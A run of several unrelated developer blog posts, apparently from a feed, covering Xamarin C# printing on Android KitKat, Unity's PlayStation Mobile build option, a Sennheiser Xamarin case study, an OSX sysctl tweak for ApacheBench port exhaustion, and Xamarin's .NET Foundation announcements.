If you thought that Build was epic, you will absolutely want to join us for Xamarin Evolve, the largest mobile developer conference of the year. Tickets go on sale on April 10th, so make sure to visit the official Evolve website to sign up for details.

The latest version of Android, KitKat, adds long-awaited printing support to the platform. Android applications can now provide low-level control of print jobs, in addition to print integration for applications incorporating web content. This makes KitKat particularly well-suited to hybrid applications built with Xamarin using Razor templates.

Printing with a WebView

First let’s look at the easy to use print support offered through the WebView control.

Printing requires 3 steps:

1. In an Activity, get a reference to the PrintManager system service.
2. Create an instance of a class that inherits from PrintDocumentAdapter.
3. Call the PrintManager‘s Print method, passing it the print adapter.

The PrintDocumentAdapter is an abstract class that provides a contract to implement for supplying print content. For web content, the WebView class includes a PrintDocumentAdapter, making printing HTML from a WebView incredibly easy to do:

The following example shows a WebView built using the Android WebView template, which uses Razor as an HTML templating engine:

Although printing can be done using any WebView, integrating printing with Razor and this project template makes it really easy to build a hybrid application that can leverage native features such as KitKat printing.

Printing from the WebView with C# is as simple as adding these 2 lines of code in the activity:

var printMgr = (PrintManager)GetSystemService(Context.PrintService);
printMgr.Print("Razor HMTL Hybrid", webView.CreatePrintDocumentAdapter(), null);

When we call Print Android presents a system dialog, allowing the user to choose the print destination, as shown below:

Custom Print Adapter

To print from native Android views, taking low-level control of the print layout, we can implement our own PrintDocumentAdapter.

For example, let’s say we would like to print the layout from the following screen:

In our implementation of PrintDocumentAdapter, the required methods to implement are:

• OnLayout – Allows laying out print content based on the PrintAttributes.
• OnWrite – Allows writing a PDF file with content to print.

In OnLayout, we create a PrintDocumentInfo instance, which contains metadata about the document being printed.

public override void OnLayout (PrintAttributes oldAttributes, PrintAttributes newAttributes,
                               CancellationSignal cancellationSignal, LayoutResultCallback callback, Bundle extras)
{
  document = new PrintedPdfDocument (context, newAttributes);
  CalculateScale (newAttributes);
  var printInfo = new PrintDocumentInfo
    .Builder ("MyPrint.pdf")
    .SetContentType (PrintContentType.Document)
    .SetPageCount (1)
    .Build ();
  callback.OnLayoutFinished (printInfo, true);
}

In OnWrite, we implement the code to draw printed content and write it to the output stream to be printed.

public override void OnWrite (PageRange[] pages, ParcelFileDescriptor destination,
                              CancellationSignal cancellationSignal, WriteResultCallback callback)
{
  PrintedPdfDocument.Page page = document.StartPage (0);
  page.Canvas.Scale (scale, scale);
  view.Draw (page.Canvas);
  document.FinishPage (page);
  WritePrintedPdfDoc (destination);
  document.Close ();
  document.Dispose ();
  callback.OnWriteFinished (pages);
}

Printing with our custom adapter is just like using the WebView‘s adapter. Simply pass an instance of the custom adapter, called GenericPrintAdapter in this case, to the PrintManager‘s Print method:

var printManager = (PrintManager)GetSystemService (Context.PrintService);
var content = FindViewById<LinearLayout> (Resource.Id.linearLayout1);
var printAdapter = new GenericPrintAdapter (this, content);
printManager.Print ("MyPrintJob", printAdapter, null);

When the user clicks print, the same system dialog is displayed. In addition to a local printer, you can select Google Cloud Print or print to a PDF file, resulting in the print shown below:

The printing support added to KitKat is a much welcome feature that is easy to get started with. You can download the code used in this post from my GitHub repo.

Discuss this post in the Xamarin forums.

No dev kit. No NDAs. No fees. No waiting. No hassle. Just register quickly with Sony Computer Entertainment Inc. (SCE) and you too can take games to PlayStation®Vita (PS Vita) with our free PlayStation®Mobile (Unity for PSM) build option!

If you’re not familiar with PSM, it’s a software framework used to provide downloadable content to PS Vita. The huge advantage in deploying to PSM is that there’s no need to acquire a PS Vita Dev Kit and clear all the associated hurdles to deploy to PS Vita.

What can I do with the Unity for PSM build option?

We’re confident that the Unity for PSM public preview build is reasonably stable and that you can deploy your existing mobile content to PSM without too much pain or effort right away. Please remember, however, that at this stage it is a beta product, and that you can’t publish to PlayStation®Store just yet.

How does the PSM build option differ from Unity’s existing PS Vita deployment?

Unlike the new PSM technology, Unity’s existing PS Vita build option gives you full native access to PS Vita as well as full access to PSN. As part of your dev kit, you also get a comprehensive suite of performance and native debugging tools, Visual Studio integration and Razor CPU/GPU performance tools.

Why PS Vita?

Amongst other things, making a PS Vita game is an easy way to cut your teeth on console development and become familiar with PlayStation® controls and conventions.

Porting existing mobile games is extremely easy – with a little work adding the dual analog stick controller inputs you’re there. Of course, the fact that PS Vita comes with PlayStation® controls means you can also use it as a platform to create new and exciting console games from the ground up!

How can I get it?

As of yet, the Unity for PSM build option hasn’t been integrated with the Unity product cycle. You can download a dedicated version of the Unity engine with the PSM build option here – note that due to restrictions on this platform, the PSM build is only available in the Windows version of Unity. Don’t forget to check our PSM forum thread if you have any questions.

Is the PSM build option available for both the Pro and Free versions of Unity?

Absolutely, yes it is!

Sennheiser is a world leader in quality audio experiences.  The company recently launched Sennheiser TeamConnect, an end-to-end enterprise-grade meeting solution that integrates speakers, microphones, and a central control unit.  When it came to the central control unit used by employees to remotely control the telephone line and audio levels of TeamConnect, the company sought simplicity for the product’s user interface.

Rather than creating a physical control panel, the company decided to put the controls into the user’s hands via an iOS app for iPads and iPhones.

Dirk Eismann, the main developer on the project had experience using Apache Flex, PhoneGap, and pure Objective-C for iOS development, but this was the first Xamarin project for him.

“I knew that Xamarin’s performance advantages over other cross platform tools and its rock-solid support for all of the iOS APIs were just what this project needed.“ Eismann says.

With a long background in Java, and a familiarity with C#, Eismann found it easy to make the transition to Xamarin, and completed the application code within just 6 weeks.

“Xamarin makes it surprisingly easy to do native mobile development,” Eismann says. “I especially liked how concepts common to .NET developers like events and delegates are added on top to the iOS API. This greatly simplifies development for anyone who has worked with .NET code.”

Download the full case study to learn more about the benefits Sennheiser has enjoyed from using Xamarin—including 40% faster development time, precisely mapped APIs, ease of use, and the ability to share code across platforms.

View the Case Study

I’ve been doing some HTTP benchmarking on OSX lately, using ab (ApacheBench). After a large volume of requests, I always ended up with connection timeouts. I used to blame my application and mentally filed it as “must investigate”.

I was wrong.

The problem here was OSX, which seems to only have roughly 16000 ports available for connections. A port that was used by a closed connection is only released after 15 seconds. Quick calculation shows that you can only do a sustained rate of 1000 connections per second. Try to do more and you’ll end up with timeouts.

That’s not acceptable for testing pretty much anything that scales.

Here’s the workaround: you can control the 15 seconds release delay with sysctl:

sudo sysctl -w net.inet.tcp.msl=100

There’s probably a good reason why it’s in there, so you might want to revert this value once you are done testing:

sudo sysctl -w net.inet.tcp.msl=15000

Alternatively, you could just use Linux if you want to get some real work done.

It has been an amazing day today. Not only did I have the opportunity to share the stage with the creator of C#, Anders Heljsberg, in the Microsoft Build 2014 day 2 keynote, but we also jointly announced with Microsoft the launch of the .NET Foundation, a newly created entity that will foster open innovation on .NET.

Xamarin contributed six projects to the foundation, and we are excited to be working with Microsoft as we take .NET in this new direction.

Microsoft contributed Roslyn to the Foundation, and on stage we demoed Roslyn working on a Mac with the iOS version of our new Xamarin Store App – a beautiful, native app that let’s C# lovers order their own limited edition C# t-shirt for free.  This demo was a great proof point for how open source will help get .NET everywhere.  We are very busy integrating the best bits of Roslyn into our technology stack.

Xamarin is contributing six projects to the .NET Foundation:

• Xamarin Mobile: a library that exposes a single set of APIs for accessing common mobile device functionality across iOS, Android, and Windows platforms.
• Xamarin.Auth: A cross-platform API for authenticating users and storing their accounts.
• Couchbase for .NET: A lightweight, document-oriented (NoSQL), syncable database engine.
• Xamarin’s System.Drawing:our cross-platform implementation of the familiar drawing API
• MailKit and MimeKit: robust cross-platform email libraries optimized for mobile.

The .NET Foundation will help accelerate the adoption of .NET across every platform and computing form factor—servers, mobile devices and desktops, and we are very excited for Xamarin to be a part of it.

Check out the Build website to see the recordings of the Day 2 keynote. Tomorrow you should also be able to see a recording of my ”Go Mobile with Xamarin and C#” session.

Just a few minutes ago in the Microsoft Build Day 2 keynote, Miguel de Icaza, Xamarin cofounder and CTO, unveiled the new Xamarin T-Shirt Store app available for iOS and Android. The app is a beautiful example of native apps written in C# and Xamarin.

The app is also your fastest path to getting one of our widely popular C# shirts, as modeled here by Xamarin San Francisco employees.

Follow these instructions to get your shirt, and then tweet a C#-shirt-wearing selfie to @xamarinhq to show your support of C# everywhere!